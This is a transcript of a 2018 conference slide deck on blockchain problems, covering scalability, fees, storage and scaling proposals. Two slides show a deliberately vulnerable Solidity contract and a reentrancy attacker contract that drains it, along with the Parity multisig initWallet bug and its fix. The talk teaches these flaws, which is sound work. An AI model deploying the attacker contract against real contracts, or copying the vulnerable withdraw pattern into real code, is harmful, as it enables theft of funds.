Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Issues in the Blockchain Ecosystem

Issues in the Blockchain Ecosystem

This is talk i did and the main idea is for people to understand what is wrong with the Blockchain and the solutions that are available for this problems.

B77437c67288921c3e5e7d23d2366ee7?s=128

NikolayAngelov

October 18, 2018
Tweet

Transcript

  1. Blockchain Trainer

  2. Blockchain Trainer /in/Thedi /ghkgk www.Nikolaytech.com

  3. None
  4. None
  5. Blockchain Operations Read Write

  6. Write Operation

  7. Reach an Agreement

  8. None
  9. Transaction latency

  10. Block Size +

  11. tps per second

  12. Ethereum 20 tps (PoW) Bitcoin cash 60 tps (PoW) Ripple

    1500 tps (RPCA)
  13. We need Bigger throughput

  14. Visa handles 56 000 tps Expensive transaction fees (0,20$ -

    0,50$)
  15. None
  16. Transactions Latency Internal Time Interval

  17. Litecoin every 2.5 minutes

  18. Transactions Latency

  19. You decide the F ee Higher fee =

  20. Bitcoin ~0,50$ Ethereum ~0,15$

  21. Transactions F ees Bitcoin ~50$ Ethereum ~4$ Highest Ever January

    2018
  22. Transactions F ees

  23. Storage Bitcoin 219 GB

  24. Storage

  25. None
  26. None
  27. Lightning Network

  28. Lightning Network Reduces the load on the Chain

  29. None
  30. Sharding Splits Network into Shards More Performance =

  31. Sharding Everything Stays the Same Developing DApps

  32. Sharding Challenges Proof of Stake is Single-shard takeover Cross Shard

    communication
  33. None
  34. Raiden Bitcoin Lightning Network Supports ERC 20 tokens =

  35. Plasma Snarks Zk-SNARKs

  36. None
  37. Smart Contracts Difficult to Write Bug-free Code Different Approach required

  38. 1M+ BTC 5M+ ETH 20 000 000 000$ 6 500

    000 000$
  39. 3 600 000 ETH Stolen Leads to Fork

  40. contract HoneyPot { mapping (address => uint) public balances; function

    deposit() public payable { balances[msg.sender] += msg.value; } function withdraw() public { require(balances[msg.sender] > 0); if (!msg.sender.call.value(balances[msg.sender])()) revert(); balances[msg.sender] = 0; } }
  41. contract HoneyPotHacker { HoneyPot private honeypot; function HoneyPotHacker(address a) public

    payable { honeypot = HoneyPot(a); } function collectMoney() public payable { honeypot.deposit.value(msg.value)(); honeypot.withdraw(); selfdestruct(msg.sender); } function() external payable { if (honeypot.balance >= msg.value) { honeypot.withdraw(); } } }
  42. Multi-Signature wallet InitWallet Bug

  43. function initWallet (address[] _owners, uint _required, uint _daylimit) { initDaylimit(_daylimit);

    initMultiowned(_owners, _required); }
  44. None
  45. function initWallet (address[] _owners, uint _required, uint _daylimit) only_uninitialized {

    initDaylimit(_daylimit); initMultiowned(_owners, _required); }
  46. Issues of Tomorrow

  47. Quantum Computing Computers will only improve Quantum Safe Cryptography

  48. Normal People Adoption is Hard Security is Hard 5% of

    the People cannot Remember Single Password People get Angry
  49. Cross Platform Development Many Platforms is Bad Cross-Browser development States

    persist in single chain
  50. Thanks! Any questions? Find me @ Nikolay Angelov /ghkgk /in/Thedi

    www.Nikolaytech.com